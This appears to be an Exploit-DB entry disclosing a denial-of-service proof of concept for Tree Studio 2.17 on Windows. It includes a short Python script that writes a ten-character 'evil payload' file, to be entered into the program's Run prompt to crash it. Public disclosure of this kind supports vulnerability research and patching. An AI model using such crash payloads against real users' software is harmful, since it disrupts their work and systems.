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Tree Studio 2.17 - Denial of Service (PoC)

EDB Verified:

EDB-ID:
46125

CVE:
N/A

󰅖

Exploit:   /   

Author:
IHSAN SENCAN

Type:
DOS
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Vulnerable App:

Platform:
WINDOWS

Date:
2019-01-11
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# Exploit Title: Tree Studio 2.17 - Denial of Service (PoC)

# Dork: N/A

# Date: 2019-01-11

# Exploit Author: Ihsan Sencan

# Vendor Homepage: http://www.pixarra.com/

# Software Link: 

http://www.pixarra.com/uploads/9/4/6/3/94635436/tbtreestudio_install.exe

# Version: 2.17

# Category: Dos

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# POC: 

# 1)

# Tree Studio Run / Enter Key...

# Any character.

#!/usr/bin/python

    

buffer = "A" * 10

 

payload = buffer

try:

    f=open("exp.txt","w")

    print "[+] Creating %s bytes evil payload." %len(payload)

    f.write(payload)

    f.close()

    print "[+] File created!"

except:

    print "File cannot be created."

            

Tags: Denial of Service (DoS)

Buffer Overflow

Advisory/Source: Link
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